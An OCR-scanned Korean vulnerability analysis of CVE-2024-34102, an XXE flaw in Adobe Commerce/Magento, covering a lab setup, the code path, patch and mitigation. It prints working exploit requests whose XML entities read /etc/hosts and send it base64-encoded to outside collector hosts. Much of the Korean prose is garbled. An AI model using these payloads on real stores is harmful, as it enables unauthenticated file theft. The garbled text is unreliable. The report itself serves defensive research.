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upe e
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2024 9 6 ¥ 13 ¥, Adobe Commerce oA XXE FeFH(CVE-2024-34102)°] -37H=ct. sl
FoF4> REST API*7} JSON dHlo|HE A= Hetsh= MAolA HE™ =2lo] u|gs ofoj2ll
=
[e)

XML 78 142 58 o4 398 ¢ 5 97 el 2T FARE oY AorEe

AE ] F4RE SHT 4 9o Fol7t Basi,

20248 79 13 4, Adobe oA+ slid FHFHS Foll o WP A, B 75 3], AT S
AL YT £ Aok 98 gt 19,
OFEE QT AMES st o] & FAIFH

« URL: https://helpx.adobe.com/security/products/magento/apsb24-40.html
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2 REST API(Representational State Transfer API): HTTP 23-& S3] E45to] g4 HoAd HIZES AASY 7], ddolE %
2HA|(CRUD)9 22 #F dloJgHo]A 7]'5& 3st= APL o§ E°], GET 2 M, POST & A4, PUT & <dHlo]E, DELETE &=

ET OaT o= T o

A 75E S
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CVE-2024-34102 & 524 AU eE= ofel 2.

infosec

Adob
|i|i|!!%|%!|!!

® CVE-2024-34102

TOP
SECRET

@ MH L ef=3t 7| B3 @ 2FRHIWT E2 4d © MH L SRFH &3

1% 2. CVE-2024-34102 A AL

@ S4XsE XA EHECZE AEFQ F A Adobe Commerce AJH EFA

@ &AXHE CVE-2024-34102 #%ES 0|835t0] fo[HQl XML #& TS

® 34Xie 4o/l XML T2 S MH U 2=t 7] 2

@ 34Xt 233 71 &84 AP0 288 29X WT EE MM

® 4% ddE WT ES2S S 2G4 AHTI2E APIE ARSI MH W S &3
B gaws amegol v

CVE-2024-34102 o] #ofet AnEJo] WAL ohgy} Zth

=1 =3

Adobe Commerce 247, 2.46-p5, 2.4.5-p7, 2.4.4-p8, 2.43-ext-7, 2.4.2-ext-7 O|H
Magento Open Source 247, 2.46-p5, 24.5-p7, 2.4.4-p8 O|H
Adobe Commerce Webhooks Plugin 1.2.0 £E 1.4.0 7%
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B EAE 37 24 HE

HAE 348 =48] CVE-2024-34102 9] 52 714 AmEr},

o|& B
Adobe Commerce Magento
| sf| Xt Community Edition 2.4.7
(192.168.102.74)
Kali Linux
2%}
(192.168.216.129)

Step 1. 273 +4

oozt PC o CVE-2024-34102 FeFdo] E£Ast= Adobe Commerce & “dX]gttt. Composer
install & Fol4 Ax]H Adobe Commerce QI 4%, A" AH=Z W 4L HZ9 composer.lock

utdo] ARG FQ ofiEAelde] WA HRI} 7] 4= A

B9 A9 247 MAL AE Fol7l o] Aok BAYL HAY & ek

fo

"name": "magento/product-community-edition",
"version": "2.4.7",
tdist
ut s zip,
m : "https://repo.magento.com/archives/magento/product-community-edition/magento-product-community-ed

ition-2.4.7.0.zip",
"shasum": "366521fc545daf2b89c33delf873b81589b1d019"

19 3. F<F Adobe Commerce ZAHE 3¢l
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Step 2. FIH HAE

$4, BAAE o4 XML & 9o Aug 7EUh BAE AHt SSRE HoHe 315
Q)5 Agal= SSRFULlity & o]-8ste] JA= =38 4= 9t

« URL: https://ssrf.cvssadvisor.com/
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t @ SSRFULility - SSRF Explor X

& QO 8t cvssadvisor.com

KaliLinux #8 Kali Tools « Kali Docs ™ Kali Forums o\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Changelog #

SSRF testing made easy &

Discover and tekt SSRF vulnerabilities faster than ever.

New Instance |

OR GO TO EXISTING INSTANCE

Enter Instance ID

@ Made by beblks

9 4. SSRFUtlity JIARA W

WS Aagso] Tt 22 o XML payload & WHHIES AR
<IENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=FILE_.TO_READ"> <!ENTITY %

param1 "<IENTITY exfil SYSTEM 'https://INSTANCE_URL?%data;'>">
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g A2 ofgfjelt Zo] Customize HTTP Response 7]%5= Fdll /etc/hosts L& ¢l A

XML payload & wtehstes 24T 4 ot

O B htips://ssrf.cvssadvisor.com/instance/pdcGe0c]

KaliLinux § KaliTools @ KaliDocs % KaliForums ex Kali NetHunter Exploit-DB Google Hacking DB OffSec

Your unique subdomain @

P X
Customize HTTP Response
https://pde6e0cT.c5.rs & Customize the HTTP response of your SSRF instance
Status Code
https://pdc6cOcT.ssrf.cvssadvisor.com ) " P
i i o 200
Customize your instance \sts yet

Body

Customize HTTP Response
<IENTITY % data SYSTEM "php://filter/convert.base64-encode
/resource=/etc/hosts">

<IENTITY % param1"<IENTITY exfil SYSTEM 'https://pdc6cOcT7.cors
Instance Info il /dtd.xml?%data;'>">

Headers

pdc6cOc7? O

Access-Control-Allow-Headers: *

Extend Instance by 1 hour

- Clear logs | -

a9 5. 94 XML Hg 43

s

A #2Fst Adobe Commerce AH o] CVE-2024-34102 FoFd2 o]&3) th
=3

POST /rest/all/V1/guest-carts/eqst-test/estimate-shipping-methods HTTP/2

Host: magento.test

Accept: application/json, text/javascript, */* q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Type: application/json

Content-Length: 371

mlo
i=)
.
rlo
i
=,
filo

r

A
S

sk

{
"address": {
"totalsReader": {
"collectorList": {
"totalCollector": {
"sourceData": {
"data": "<?xml version=W"1.0%" ?> <IDOCTYPE r [ <!ELEMENT r ANY > <IENTITY % sp SYSTEM
W"https://pdc6c0c7.c5.rs/dtd xmI#W"> %sp; %param1; 1> <r>&exfil;</r>",
"options": 524290
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#2

H#3

#4

Z]OF5 O 7 7ZFO o rc}ro Flolgr A o)
g Feret Aol v 22 sHe 4 vk
11:35:19 e 3 ki T i
AM
;+ QUESTION SECTION:
;pdeBeOc7.cors. IN AAAA
;» opcode: QUERY, status: NOERROR, Id: 39945
11:35:19 ++ flags:; QUERY: 1, ANSWER: O, AUTHORITY: O, ADDITIONAL: O
M 1+ QUESTION SECTION:
;pdcBeOcT.cors. IN AAAA 127.001  localhost
A localhost ip6-localhost ip6-loopback
fe00:0 ip6-localnet
/dtd.xmt 0020 ip6-mcastprefix
11:35:20 : pdc6e0cT.ch.rs H02-1 ip6-allnades
AM : close 022 ip6-alirouters
172.18.0.8 5495ab70c20c
fdtd.xmlAMTISLJAUMCAxCWxvY 2F saGIzd Ao60JEJbGS] YWxob3NOIGlwNi1sb 2NhbGhve3QgaX AZLWxvb3BiYWNrCmZIMDAB OjAJaXAZLY
1:35:21
AM : pdc6clOcT.chrs

: close

19 6. CVE-2024-34102 FoFd o= I3t /etc/hosts o+ &

vulnerable

1% 7. CVE-2024-34102 PoC A3 ¥ /etc/hosts T §Z& 32l

M
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FoFd Al EAol= CVE-2024-34102 FoFlo]l WAst= H2lE A4 ox A3t Step
e ! 5

4L "2 AT U 2es A% T2 webapixml F dixml BHAE Fo AFgle] 2
7Hsdt A 2o|A ofB wAETL SEE=A] AR Step 2 o4 HTTP body ] JSON Elo]&7}
AA 2 AP e = s A9 npx]eto 2 Step 3 of|A+= Adobe Commerce oA A sh=

el
XXE(XML External Entity Injection) FIFH-S o1 ¢ FHE3 RN SE2=H+= S
T2 Foll XXE FeFdo] ofEA TASH=%] At

S

Step 1. 5Qlel H27Fs URL 24 9 A3 3
Magento2 & 7|'5& AH8E wjj Ul ¢} RESTAPIE Fafl &

=<8 &
S REST APL& Ao FAs) Fok Ads duE & gl

1) webapi.xml

Magento2 |41 REST API &] ol digt Al 242 2F Ba Wo] webapixml o] FARIH
Magento & AX|3F H=Z W vendor/magento/module—quote/etc/webapi.xml TL-& Za1oHH
ST e xml wele] YREE Y 4 ok

91 webapixml Q9] 7} LE= th2-S —5—5—’533}

@route: APl & 2&% URL &

2|7 _tt.

@service: APl o] &&d" ZY2e HAEE AT 5 Aok 91 dA9 AE
estimatedByExtendedAddress 2H= WA E0f cartld 7} mtetuE 2 Mg Eo] §EHT}.

Qresources: APl & & M-S YA ref & &A% F, anonymous + HE= 74, self +=
IS Rtk 9 dAe] A HE QIFgle]l RE A7 HE 7HESH
resources ‘= =2] ref £A4JFo] anonymous ¢l webapixml & FAGH 2y dEFHOR o2 F

AE7t M2 9F o] R e AU 4 vk

/rest/V1/guest-carts/:cartld/billing-address
/rest/V1/guest-carts/:cartld/estimate-shipping-methods

? AP 5H(descrialization): d#] Hlo|ERRE ©lo|g Fx2E FE0}

(s
£
2
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2) di.xml
Magento2 ©JlA4] Webapi.xml 9] service LEO] HAE ZdAE I 2ZAAY class Ho] TEEHZA]
A=t dixml 2 JAAEIAZM HAHA EA F 2ol tiet A (preference)2 Holot= <

gt

et a7 E2 Magento?2 & A H=Z W vendor/magento/module—quote/etc/di.xml TS

=
FustA theat 2o xmlwde] ARES AT 5 9

19 9. dixml g ¢grB

1)9] webapi.xml o] @2} /rest/V1/guest—carts/eqst—test/estimate—shipping—methods URL A2 - A]
HEAA TEE+= SA = MagentoWQuoteWApiWDataWAddressInterface |9, di.xml of w2} st
ZPA9] §F2 MagentoWQuoteWModelWQuoteWAddress 2212 $&= ofgje}t o] iAot

Debug

Output

3% 10. getPreference Tl A di xml°]] w2t A== SHAE

* o1~ A%} (instantiate): SHLZHE AAE == 7
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3) & "IAE &£4
(1) /rest/V1/guest—carts/:cartld/estimate—shipping—methods
DollAl  Aigst <QlSglel A 7lsd HARE 5 estimate—shipping—methods ZZo] of

webapi.xml 9] A4 th-S1t Zrt

e

method="es

I3 11. estimate—shipping—methods ZZ0f gt webapi.xml A%

2)oll A At webapixml oA &%= A9 dixml AF AHE= o3 Erh

i:noNamespaceSchemalocatis

a9 12. $] webapi.xml Ao @2 dixml 43 AR

A F xml TFd AHO R /rest/V1/guest—carts/:cartld/estimate—shipping—methods 2]l HTTP 8°8-&
B A MagentowWQuoteWModelWGuestCartWGuestShippingMethodManagement  E2A9]
estimatedByExtendedAddress WA =7F SEHTE  estimatedByExtendedAddress HIAES] AAFTE=

cheat 2.

I estimateByExtendedAddress{$cartId, Add e $address)

$quoteIdMask = $this->quoteIdMaskFactory->create()->load($cartld,

n %$this->getShipmentEstimationManagement
-»estimateByExtendedAddress( (int) $guoteldMask->getQuoteld(),

1% 13. estimatedByExtended Address HA =

HTTP 84<& BEd 5, Wb B HTTP body #t°] Addressinterface S22 FEio] A=
MEso] Q142 Solts Ag HAT & 9k
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2. /rest/V1/guest—carts/:cartld/billing—address
DA Arst o15glo] A 7Hs3t 2 % billing-address 2ol 3t webapixml ¢ A&

theT} 2t

" method="z

14 14. billing-address A=Zof| it webapi.xml 47

2ol A At webapixml oA TEEE= SHA9] dixml 244 HEE= o2 2

a9 15. 9] webapi.xml A3 @E dixml 4% R

Y F xml o AHO=F /rest/V1/guest—carts/ cartld/billing-address =20 HTTP 832 B
,  MagentoWQuoteWModelWGuestCartWGuestBillingAddressManagement  Z2£9]  assign
WA=t SEH assign HIAES] £AFEE thgT 2ot

Al

n assign{$cartld, \Magento\Quote\Api‘\Data\A ace $address, $useForShipping = false)

>quoteldw ory-» e( )-»load($cartId, * i o
billingAddr : = ign($quoteldMask->getQuote , %address, $usefForShipping);

9 16. assign HAE

HTTP 93& HW 5, b EW HTTP body %ol WMagentoWQuoteWApiWData
WAddresslnterface 222 Q] AFZ HEEo] QfLr Sojrt= ZL delsh & 9t
URL 25 A4 Fei2 Q45 @onz HTTP Body 842 AALs 42 AA AAE 74T

5, A2E AL AT 4 9o

[
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2 FoFHE olsfstr] fIalAl JSON FEfe] Hlo]eE HTTP body 2 8745 EY¥ 1w, Magento?
ol M o @A F2dst ==l tiet A olsi7t €5ttt

Azl A= ol $A§  vendor/magento/Framework/Webapi/ServicelnputProcessor.php U
_createFromArray WA EOA o BHS dF St offd HAES AAFEE TRy} Er

_createFromArray ($className, $data)

is_array($data) ? $data : |

$clarsn me;
$className ) ;
i s_TYPE)

onstructorDatal $c shName, $data);
»create($className, $constructorArgs);

)1

%Y 17. _createFromArray WA E

AEst H F 9 _createFromArray WAE We] getConstructorData WA EE $data W
HEoA $className SeHA0] A2 Q17 Qe=A] E § o]F array Fo=2 Aol Hreot=
S St

>getPreference($className} ;
$preferenceCla ?: $className);

Method('_ A
fe

sset($dataf$parameter->getName() 1)) {
tparameter?,pu $this->typeProcessor->getParanType($parameter);

try 1

5[ $parameter- ame() ] = Sthis->convertValue($data[$parameter->getiame()], $parameterType);

gy 1

a9 18. getConstructorData WA=
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Ol

Stepl oA d@w T APl A=Zo] A9 HTTP body © JSON H&=
MagentoWQuoteWModelWQuoteWAddress Z#2 (05t Address S22) Ao 9HA G2 E3}
5}7] W&o, getConstructorData WA ES 74 Address Za]29 AR QI4ES SHolsjof gict,
g ZHA0 AAFEE SISIHEH, A2V gEd 22 37 79 daES #A e AS

g 4 9k,

=

¢

Y
ibuteFactory,

vConfig,
g $addressConfig,

$itemCollectionFactory,

$attributelist,

19 19. Address 22 223 W AAA(_construct) ¢l

i
o
rO

wetd Address 247t $EE W, 9 = W AR 5ol EAEHA e JSON BEgE
ZAske JSON BEWS 7H50] 27+ 242 HUlR, of® 402 HTTP body ©| JSON &35
] o

o] Hepale

o
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1) JSON 27t 229 BAEA Q4 o5 dAotA] = B¢

_createFromArray WA E 9] getConstructor HIAEE Fofl §A3 J[SON ZEo] ZEiA A2t
A4 o]lFd dAste  olge] ¢l& A, _createFromArray HWAEE JSON ZEr9]
setter(set+ B EY) WINEE &6t o5 ARt ol= o HTTP 832 AFaHA St 4

At
POST /rest/V1/guest-carts/eqst-test/estimate-shipping-methods HTTP/2
Host: magento.test
Cookie: XDEBUG_SESSION=PHPSTORM
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Content-Length: 44

{
"address": {
"Region": 123
}
}

ZA5HA] A setter 2 EA5h=

9] Ao web ARl Address ZA Y Q14

1
setRegion HIN=E HASEL o5 HdYst= Aa ST 4 QU

on setRegion($region)

this-»setData(self::KEY_REGION, $region);

% 20. Address Z#2 W setRegion HIAE &2l

Debug

Output

O3 21. “set” + JSON HEH HAEE §A § o] 4F
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2) JSON "7} SejA0] FAA Q14 o2 dX|ote AS

_createFromArray HIAE W getConstructorData WA =04 &4 F21 JSON HER o] FaiA
A e olg Y dAske e &RIsHH, siE HlolEE convertValue HIAE= Ho|E <}
dolg g dAHET). convertValue HIAEQ] AAFEE of2a} Zioh

convertValue($data, $type)

sar->isArrayType($type) && isset($datal’
removeSoapItemiode ($data);

>isTypeSimple($type) || $this-stypeProcessor->isTypehny($type)
essnr—\proLvssﬂlmpleﬂndAanvpefidatd, $type);

UNSTRUCTURED ARRAY)

1is-»processComplexTypes ($data, $type);

19 22. convertValue HIAE

convertValue #IAEoA $type ol string @ int &F &2 Yol o8 A= FHA E71E
AA  _createFromArray WA =7 $&glo] ®¥HerETH HHH  convertValue ©f

SHAE AEE A2, $type 2 array U string, int, float, double, boolean ¥} 72 713t EFQIO]
olJE = processComplexTypes WA ER $data 9F $type & Q142 GAFA Het. A4S
processComplexTypes WA= —J AAFEE g A

o processComplexTypes($data, $

$isArrayType = 11s->typeProcessor->isArrayType($type);
is-» createFromArray($type, $data);

$result = is array($data) ? |

$itemType = $this \pePFDCESSGF >getArrayItemType($type);

if (is arra”(ﬁdataﬁ
tor-»>validateComplexArrayType($itemType, $data);
$item) {
s->_createFromArray($itemType, $item);

1 $result;

% 23. processComplexTypes H| A&
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$type o2 ZHA7F HMIGHOHA Array EFYo] ofYIB =R createFromArray WA EZF THA
S&5o] AAHCE  _createFromArray WAEZF TEELE wAo] HrELATh g S

=43t okelet 2.

infosec

39 24. _createFromArray AAZE 374

HAHoZ TEEH _createFromArray WA= convertValue 7} string @olut int - $type
Q142 HFOm createFromArray HIAE §&0] obd $data & getConstructorData WA E 2]
$res array o] A& F o]F _createFromArray WA E W $constructorArgs 2 HIRSHA| HEZ
_createFromArray 9] A9 S&°] Ul Hoh _createFromArray o] A7 TEo] YA =W,
_createFromArray WA E WollA] S$constructorArgs & HigkolH, S WS JA42 €7 &
$className o] w2 AAE AB/dghet.

g

_createFromArray ($classiame, $data)

$data = is array($data) ? $data :

$className

_of($classi EXTENSION ATTRIBUTES TYPE)
})s

$className = substr assha 3, -strlen('I

$constructorArgs = $this-»getConstructorData($className, $data);
$object = $this->objectManager->create($classame, $constructorirgs);

%Y 25. _createFromArray AASE $2 & 4A Y 74
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Step 3. XXE(XML External Entity Injection) F2Fd A

1) XXE(XML External Entity Injection) 24

XXE FoF< oldlistz] faliA= XML of #gh 7]24<Q1 o]si7t "Basiry. XML 2 eXtensible
Markup Language ©] °f2t= dlolg] A% 2 &S flsf 1tHE <dojoy. XML olsfjof] Zagt
T2 8ole o= £t

rlo

20] L Ol Al
<section>
Eff 1 (tag) <2 NS> 2 ELtE O3 Y #+X </section>

<line-break />

AR Ej a2 AlRESlo] ®o| gl= B Eja=

<Greeting>Hello,
22 (element) ZLEALE Bl A2[HE EfATIC R O|RO0{X|=

world.</Greeting>

OlE/3f 22 O|RO|F OtAY FZ, AZf B <img src="EQSTjpg” alt="Experts,

)
A
e AeHE EjO &0 KE Qualified Security Team'/>

£/ (Attribute)

XML olME ofefi ;e Zo] oofso] = vl 7o SEqt . o9
wAlA ARESHE, XML BA 4 ©E oulz siAsHAl "o olAd™ Aofd 7|eE 7|E
ARGStE Akt gol ARgSEY] fIsiA whE A= AIEE (entity) 2Ll Q.

QU E| E] (entity) L}IE}Y = 2 X}
&amp; &
&lt; <
&gt; >
&apos;
&quot;

DTD(XML document type definition)x= XML =42 X, dlolg o 43 2 o8 =
Aolg 4= 9th, DTD & XML &4 A2 HEo| 9J= DOCTYPE 84 o] A=t DTD
A A Hell AdstAY @ F ol JEiE Ao & Sl

o mel WelE Helshs 9R cleEe] HAe SYSTEM 7|9I=S Algecio], dlee e
2 5o sl URL S A4t oAl ofgie} 2k,
‘ <IDOCTYPE foo [ <!ENTITY ext SYSTEM “https://URL_TO_LOAD"> ]> ‘
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2T URL 2 A|AH YHoA ALESHE= opefsl T2 EZ-S ARES 4= ot file:/, php wrapper, jar:
ol I WEA AT MY S XML & sS4 ZAdE E=Hshd, of#fiet Zol php
wrapper 7|52 &8d 54 S dEERE 92 7 289 5 vk

<!DOCTYPE foo [ <!ENTITY ext SYSTEM “php://filter/convert.base64-encode/resource=/etc/hosts”> 1>
<foo>&ext;</foo>

A Zold XML 78 sid ATHE sk gheohd, ¢RdA ofd DID #de 52
YE od JRE 5L 4 Uth Jetc/hosts IS FEok= 1Y XXE 832 =3 £
<?xml version="1.0" ?> <IDOCTYPE r [ <IELEMENT r ANY > <IENTITY %sp SYSTEM
"https://URL_TO_LOAD/dtd.xml"> %sp; %param1; ]> <r>&exfil;</r>

9 XML F2f w2 %sp &5 AEE7F FojH, o] ¢FA o DID & =22 dd.
ole] W FoA TAgsh= o DTD 39| A= o= 2.

<IENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts"> <!ENTITY % parami
"<IENTITY exfil SYSTEM 'https://URL_TO_LOAD?data=%data;">">

P%data = /etc/hosts LS php wrapper 7]1'5& E-83l Base64d FEHZ T3}, %param] =
exfil NEJE]E AolotH, 9] %data & 3f= URL nitu|e|2 2|45 42 AH=2 5-E5tA Hrt

2) XXE(XML External Entity Injection) 524 F<F A|H

Magento2 W XXE FFHe o8 £ g A2 XML FEE A5

WSimpleXMLElement @127} St} Step2 o4 AF3Th vHEel o] _createFromArray HAI = o)A]

olaer AdH YA ($className) 02 HE AR el4-E AfAAHSR FTESHEE, Address

A2 12 RE XML 22 dl4stE WSimpleXMLElement 22471 =2 4 QJE=A] AH,
+

oFgA) B 4 9t

1

¥ rlr

-

N

Address 347 A45E 2T A3k, ofest o] FeLst AFHOR 5EEL FAT & ek,
opzjek - ZElA §EFL2 MagentoWQuoteWModelWQuoteWAddressWTotalWCollector U
SourceData EFle] WMagentoWFrameworkWSimplexmlWElement ¢1 ©]-f-2 &9t}

MagentoWQuoteWModel#QuotettAddress
|
MagentoWQuoteWModelWQuotetttotalsReader
1
MagentoWQuotettModel#QuoteWTotalsCollectorList
1
MagentoWQuote¥#ModelWQuoteWAddressWTotalWCollector

1
WMagentottFramework#Simplexml#Element

%
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Element |mi

9 26. sourceData EFY o] WMagentoWFramework#WSimplexm[#Element ¥-& HAIgH £AFE

Output

3 Zd A= SimpleXMLElement 2145 A&EHta lov =2 SimpleXMLElement S A%}
q

i Xel S
WA S FATS ¢ 4 9ot

a9 28. WMagentoWFrameworkWSimplexmlWElement £AFE W A4 S &9l
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php &4 &4 9] simpleXMLElement + 23 &2 455 A= St

class SimpleXMLElement implements Stringable, Countable, Recursivelterator {

public _ construct(
string $data,

int $options = @,
bool $datalsURL = false,

string $namespaceOrPrefix =

bool %$isPrefix = false

a9 29. php 3424 A simpleXMLElement Z#A A2} Q14

ServicelnputProc

Cutput

a9 30. gHAR 2—]-01 s 31mpleXMLElement Se& B A5

simpleXMLElement @A A2t 5 $data of oFe]&Ql XML & Hdgotd, XXE FHeFdo]
ettt &S $options A= W-2]F QMEE 2% F4& %5he LIBXML_NOENT(2), <l E
AR E = 7o Ak T2 ¥E  LIBXML_PARSEHUGE(524288) =24& 53
524290(2+524288)2 A7 gro=z HYE 4 Qi
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3) XXE(XML External Entity Injection) &4 exploit

2) A AFT L SAHE TF 5, sourceData 2 ¢Fo]H Q1 XML H#& HYstd F20]

755tk XXE B4 53l Jetc/hosts LS §E3H= payload &= th&3}h 2},

POST /rest/V1/guest-carts/eqst-test/estimate-shipping-methods HTTP/2
Host: magento.test

Cookie: XDEBUG_SESSION=PHPSTORM

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

Content-Type: application/json

Content-Length: 401

{
"address": {
"totalsReader": {
"collectorList": {
"totalCollector": {
"sourceData": {

"data": "<?xml version=¥"1.0%" ?> <IDOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM
W'https://6fb9a4a787344a9ecd41a35af5d55444.m.pipedream.net/dtd.xml¥" > %sp; %param1; 1>
<r>&exfil;</r>",
"options": 524290

0]% basebd 2 A= /etc/hosts/ AHE EFsH A

Io
r O
sk
+
g/
v

Cockie: YDEBUG SESSION=PEPSTORIN

Accept: application/ison, text/javascript, */%; g=0.01
¥-Pequested-With: XMLHttpRequest

Content-Type: application/json

_ | content-Lengtn: 205

{
"address'": |
"totalsReader™: {
"collectorList™: {
"totalCollector™: {
"gourceData”: |

"data’
"¢?xml version=."1.0%" ?> <!DOCTYPE r [ <'ELEMENT r ANY > <!ENTITY % sp SYSTEM \"https://
455844, n.pipedrean. net/ded.xnl "> %sp; %paraml; 1> <r>eexfil:</r>",
"options™: 524290

wquery {1}
¥ data

POST /rest/Vl/guest-carts/eqst-test/estimate-shipping-methods HTTP/Z
Host: magento. test % & O @

MTI3LJAUMCAXChbvY2FsaGozdAo60]EIbGS j¥xob3NOIGLwNi1sb2NhbGhvc3QgaXAZLxvb3Bivk

EJaXA2LWFsbG5VZGYZCMZmMDIG0] IIaXA2LIWF sbHI vdXR1cnMEMT cy L IzL jAuDAkIMUZmRKYZRIMICK

rCmZ IMDAGOF ATaXA2LkxvY 2F sbmVaCmZmMDABOJATaXAZ LWL jYXNecHI 1Zm14CmZmMDIG0

»url

3% 31. XXE 34& 5 /etc/hosts AR EF
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4) 34 %

(1) *JA A API AH§

API 1% AFEElE JWT o A% 7171 app/etc/env.php T}HA Q] crypt W key @Ho=z AAE]7]
o Zell, admin HFOE APl 7|55 E8F 4 U= HFol AUk

(2) CVE-2024-2961 F°Fd A9

CVE-2024-2961 #°F4-2& GNU C Library 1 glibc oAl TAsH= FoFgoltt, sig gto]H g U
iconv 4S5 ARES o] @ASH=H, 1SO-2022-CN-EXT 2 AR 4 Qe oA sig
dojNlor FALS HE o 28 HHE oW EE9Y 4 Sl Folth did FHHe
php wrapper ©] php://filter & Z-85tH, ofE2AClAY F=& TAAZIAY I HSE

gojzk 5] WL FHster,
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gt gich 9EE AAFCE S Release oA the2E HRS 4 Qlrt

« URL: https://github.com/magento/magento2/releases/tag/2.4.7-p1

2] ol % 7 <ol U AXFEE H] W 5}, FleFdol Egtits!
lib/internal/Magento/Framework/Webapi W _createFromArray HAEAA ok T2 AS

20| 3719 2L FAF 4 9ok,

...agento2-2.4.7-p1¥libWinternal¥MagentoWFrameworkWWebapiWServicelnputProcessor.php
275 protected function _createFromArray($className, $data)

278

277 $data = is_array($data) ? $data @ [];

278 // convert to string directly to avoid situations when $className |
279 /7 which implements _ toString method |ike #ReflectionObject

280 $classhame = (string) $className;

51 if (is_subclass of($className, WSimpleXMLE|ement: .class)

°32 || is_subclass of ($className, #DOMElement: :class)) {

283 throw new SerializationException(

P84 new Phrase(' Invalid data twpe')

035 s

206

257 Fclass = new ClassBef lect ion($className) ;

a9 32.2.4.7-pl Six]oA F7HE _createFromArray HIAE AF 27

o] A% ZAL XML 9 F&& A48T &+ U&= WSimpleXMLElement, WDOMElement &
o 2 Tom e Aok TEo], “Invalid data type’&

et s 2o A ol §L T4 Fwe WSS, tad 22 o7 =0 A 540
7

i
r 3o

HS $className <l

o slolal 4= 9lr}
Ag AT 4
< v Target: https:y//magento.test /5  HTTP/2
a-=-
Request Response
Pretty Raw Hex (o n = Pretty Raw Hex Rende n =
1 POST /rest/Vl/guest-carts/eqgst-test/estimate-shipping-methods HTTE/Z 1 HTTE/Z 400 Bad Request
2 Host: magento. test 2 Server: nginx/1.24.0
3 Cookie: XDEBUG_SESSTON=PHPSTORM 3 Date: Sun, 11 Aug 2024 13:3Z:02 GMT
1 Accept: application/json, text/javascript, */%; g=0.01 4 Content-Type: application/json; charset=utf-g
5 X-Pequested-With: XMLHttpRequest 5 X-Powered-By: PHP/B.3.E
¢ Content-Type: application/json ¢ Cache-Control: no-store
7 Content-Length: 405 7
8 B
s | "message™:"Invalid data type",
Taddress™: { "trace":null
"totalsReader": ( }
2 "collectorList":{
"totalCollector™: |
"sourceData”: |

"data":
"<ewml wersion='"1.0%" ?> <!DOCTYPE ¥ [ <!ELEMENT r ANY > <!ENT)
ITY % sp SYSTEM ‘"https://

ddtd.xml."> $sp; Sparaml; 1> <r>sexfil;</r>",
"options":5242590

a9 33.2.4.7-pl ] o]F

of

ol Aufott A

o
_I [
.
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%) 2e the WA Zo| SAFLE
. isolated patch(ZtEA S E%"P; E= 78 179Xt 2HAE HESC
. maintenance mode 1C}(enable)

£ 4
. cron execution 2 L-Cl(disable)
L3 7|5 HATCH(rotate)
. HAIE H|2CH(flush)

o

. cron execution 2 7AC}(enable)

\‘Chm:bwl'\)—‘

. maintenance mode € £LC}(disable)

2] wLa} A B2 offiel A AT 5 .

URL: https://experienceleague.adobe.com/en/docs/commerce—knowledge—

base/kb/troubleshooting/known-issues—patches—attached/security—update—available—for-adobe—

commerce—apsb24-40-revised—to—include—isolated—patch—for—cve—2024-34102

okt ¥ 2] Adobe Commerce AHEAH= 91 2 g of what of%]

mlru
ogll
&
pauy
o
)
o2
oli
o,
i)
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» Magento Is Now Adobe Commerce : https://business.adobe.com/blog/the-latest/magento-is-now-part-

of-adobe

» Magento Community vs. Enterprise Edition Comparison : https://www.mgt-

commerce.com/blog/magento-community-vs-enterprise/

« Security update available for Adobe Commerce | APSB24-40 :

https://helpx.adobe.com/security/products/magento/apsb24-40.html

« spacewasp github : https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md

« why nested deserialization is harmful magento xxe cve-2024-34102 :

https://www.assetnote.io/resources/research/why-nested-deserialization-is-harmful-magento-xxe-cve-

2024-34102

« ComsmicSting: critical unauthenticated XXE vulnerability in Adobe Commerce and Magento (CVE-2024-

34102) : https://www.vicarius.io/vsociety/posts/cosmicsting-critical-unauthenticated-xxe-vulnerability-in-

adobe-commerce-and-magento-cve-2024-34102

« Magento?2 how to create custom webapi :
https://magento.stackexchange.com/questions/280966/magento-2-how-to-create-custom-webapi

» Magento2 what case | use di.xml and how to use di.xml for module :

https://magento.stackexchange.com/questions/111845/magento-2-what-case-i-use-di-xml-and-how-to-

use-di-xml-for-module

» php manual simpleXMLElement : https://www.php.net/manual/en/class.simplexmlelement.php

» php manual libxml constants : https://www.php.net/manual/en/libxml.constants.php#constant.libxml-

schema-create

» RFC3470 Guidelines for the Use of Extensible Markup Language(XML) within IETF protocols :

https://datatracker.ietf.org/doc/html/rfc3470#section-2

» Magento?2 github : https://github.com/magento/magento?2

« XML external entity (XXE) Injection : https://portswigger.net/web-security/xxe
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